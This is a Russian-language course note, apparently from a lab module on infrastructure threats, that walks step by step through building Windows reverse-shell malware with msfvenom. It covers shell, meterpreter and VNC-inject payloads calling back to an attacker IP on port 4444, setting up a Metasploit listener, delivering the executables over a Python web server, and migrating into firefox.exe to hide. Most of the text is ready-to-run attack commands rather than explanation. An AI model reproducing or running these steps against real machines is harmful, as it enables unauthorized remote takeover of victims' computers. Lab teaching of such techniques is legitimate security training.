owned this note
owned this note
Published
Linked with GitHub
# Reverse Shells / MsfVenom (Metasploit framework)
Можно закинуть на целевую машину файлик который создаст **TCP** соединение до нужного сервера атакующего.
#### Немного теории:
Закидываем софт на целевую машину в инфраструктуре (в нашем случае Windows 7/10), софт будет выполнять полезную нагрузку и определенный BackConnect до Kali-Linux сервера атакующего, таким образом через этот конект мы получим доступ к Windows 7.
!!!BackConnect производится с тем пользователем который есть на Win7, если юзер не имеет админские права то необходимо повысить привилегии.
!!!Нужно помнить что пэйлоады созданные с помощью msfvenom легко детектятся
В роли атакующего работать будем с ***Kali-Linux***
В роли целевой машины инфраструктуры ***Windows 7/10***
#### **Задачи:**
1. Создать RAT
2. Получить доступ к инфраструктуре и закинуть малварь во внутрь инфраструктуры
3. Проникнуть во всю сеть и попытаться что-то с ней сделать
:::spoiler Инфраструктура на данном занятии

:::
:::spoiler Модули Metasploit Framework
- **Exploit** — код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение буфера);
- **Payload** — код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее);
- **Post** — код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы);
- **Encoder** — инструменты для обфускации модулей с целью маскировки от антивирусов;
- **NOP** — генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер;
- **Auxiliary** — модули для сканирования сети, анализа трафика и так далее.
:::
:::spoiler Основные команды Metasploit Framework - msfconsole
- **use** — выбрать определенный модуль для работы с ним;
- **back** — операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
- **show** — вывести список модулей определенного типа;
- **set** — установить значение определенному объекту;
- **run** — запустить вспомогательный модуль после того, как были установлены необходимые опции;
- **info** — вывести информацию о модуле;
- **search** — найти определенный модуль;
- **check** — проверить, подвержена ли целевая система уязвимости;
- **sessions** — вывести список доступных сессий.
- **session -k <номер сессии>** - убиваем сессию
:::
### 1. Создаем сервер-обработчик multi/handler
1. Обновим Metasploit framework
> - `apt update`
> - `apt install metasploit-framework`
2. Запускаем Metasploit framework
> - В дополнительном окне консоли - `msfconsole`
> - Запустим сервер обработчик - `use exploit/multi/handler`
> - Посмотрим доступные пэйлоады - `show payloads`
> - Отсортируем пэйлоады для Windows x64 - `set payload windows/x64/ (прожать 2 раза TAB)`
>
> > 
> > Виды payloads:
> > **`bind`** - прямое соединение, при подключении к целевой машине, у атакующего появится консоль этой машины
> > **`reverse`** - обратное подключение, когда целевая машина внутри инфраструктуры подключается к серверу атакующего и к этой целевой машине имеют доступ.
>
> - Выберем пэйлоад - `set payload windows/x64/shell/reverse_tcp`
> - Посмотрим настройки пэйлоада - `show options`
> - Укажем **LHOST** на каком интерфейсе будет слушать (можно поставить все нули, таким образом указать что слушать будет на всех интерфейсах). Укажем себя же, внешний IP адрес Kali-Linux - `set lhost 172.30.51.90`
> - Запустим сервер - `run`
### 2. Создаем малварь. Будем использовать msfvenom
#### 1. Используем пэйлоад **shell**
> - Создадим самый простой вариант, без дополнительных функций
> > -p - указываем пэйлоад который используем на нашем сервере
> > LHOST, LPORT - куда будет коннектиться (show option в пэйлоаде на нашем сервере)
> > -f в каком расширении использовать пэйлоад
> > -o output - конечный вывод (билд софта)
>
> В доп.окне консоли - `msfvenom -p windows/x64/shell/reverse_tcp LHOST=172.30.51.90 LPORT=4444 -f exe -o reverse_shell.exe`
>
> - Переместим софт в отдельную папку
> > `mkdir Shells`
> > `mv reverse_shell.exe ./Shells/`
>
> 
>
#### 2. Доставляем софт на целевую машину и запускаем
> - Используем веб-сервер **python SimpleHTTPServer**
> > Перейдем в папку Shells - `cd Shells/`
> > Запустим веб-сервер - `python -m SimpleHTTPServer 80`
> > Если открывать от обычного пользователя то порт с 1024
> > Если от рута то любой не занятый порт
>
> - После этого с целевой машины Win7 можно подключиться к серверу через браузер и там будет расшаренная папка Shells с самим реверс шелом - **172.30.51.90**
>
> > 
> > Теперь можно скачать малварь и запустить
>
> - После запуска малвари на целевой машине, в консоле атакующего(Kali-Linux) где запущен сервер-обработчик появится активная сессия (консоль Win7)
> >
> > 
> >
> > Для того чтобы поменять кодировку - `chcp 65001`
> > Посмотреть какой пользователь подключен - `whoami`
> > Нам доступна консоль целевой машины которая находится внутри инфраструктцры. Но это не так интересно, идем дальше.
>
#### 3. Используем пэйлоад **meterpreter**
> Выбераем пэйлоад - `set payload windows/x64/meterpreter/reverse_tcp`
> Смотри опции - `show options`
> Запускаем - `run`
>
> > 
>
> - Создадим малварь на основе этого пэйлоада
> > Перейдем в папку Shells - `cd Shells/`
> > в доп.окне консоли - `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.30.51.90 LPORT=4444 -f exe -o reverse_meterpreter.exe`
>
> - Запустим веб-сервер - `python -m SimpleHTTPServer 80`
>
> > Скачиваем на целевой машине и запускаем
>
> - После запуска в консоле атакующего появится активная сессия **meterpreter**
>
> > 
> > Теперь мы можем пользоваться функционалом **meterpreter**, например делать скриншоты целевой машины или открыть рабочий стол.
#### 4. Используем пэйлоад **vncinject**
Управляем захваченной машиной, которая запустила **meterpreter**
> Выбераем пэйлоад - `set payload windows/x64/vncinject/reverse_tcp`
> Смотрим опции - `show options`
> Указываем хост - `set LHOST 172.30.51.90`
> Функция **ViewOnly** **`true`** - только для наблюдения, **`false`** - для перехвата управления - `set viewonly false`
> Запускаем - `run`
>
> > 
>
> - Создадим малварь на основе этого пэйлоада
> > Перейдем в папку Shells - `cd Shells/`
> > в доп.окне консоли - `msfvenom -p windows/x64/vncinject/reverse_tcp LHOST=172.30.51.90 LPORT=4444 -f exe -o reverse_vnc.exe`
>
> - Запустим веб-сервер - `python -m SimpleHTTPServer 80`
>
> > Скачиваем на целевой машине и запускаем
>
> - После запуска в консоле атакующего появится активная сессия **vncinject**
>
> > 
> >
> > Запустится удаленное подключение через сам VNC, теперь можно управлять целевой машиной
> >
> > 
> - Миграция процесса малваря на другой процесс
> > в консоле meterpreter - `ps` покажет активные процессы которые выполняются от имени обычного юзера целевой машины
> >
> > 
> >
> > Мигрируем процесс например в firefox.exe PID 4928 - `migrate 4928`
---
:::info
Полезный материал по теме
- [О создании пэйлоадов для разных платформ с помощью msfvenom](https://habr.com/ru/company/ruvds/blog/343612/)
- [Payload types in the metasploit framework](https://www.offensive-security.com/metasploit-unleashed/payload-types/)
- [Секреты Meterpreter Payload](https://habr.com/ru/post/131112/)
:::
###### tags: `Cyber Infrastructure Threats`, `1 модуль`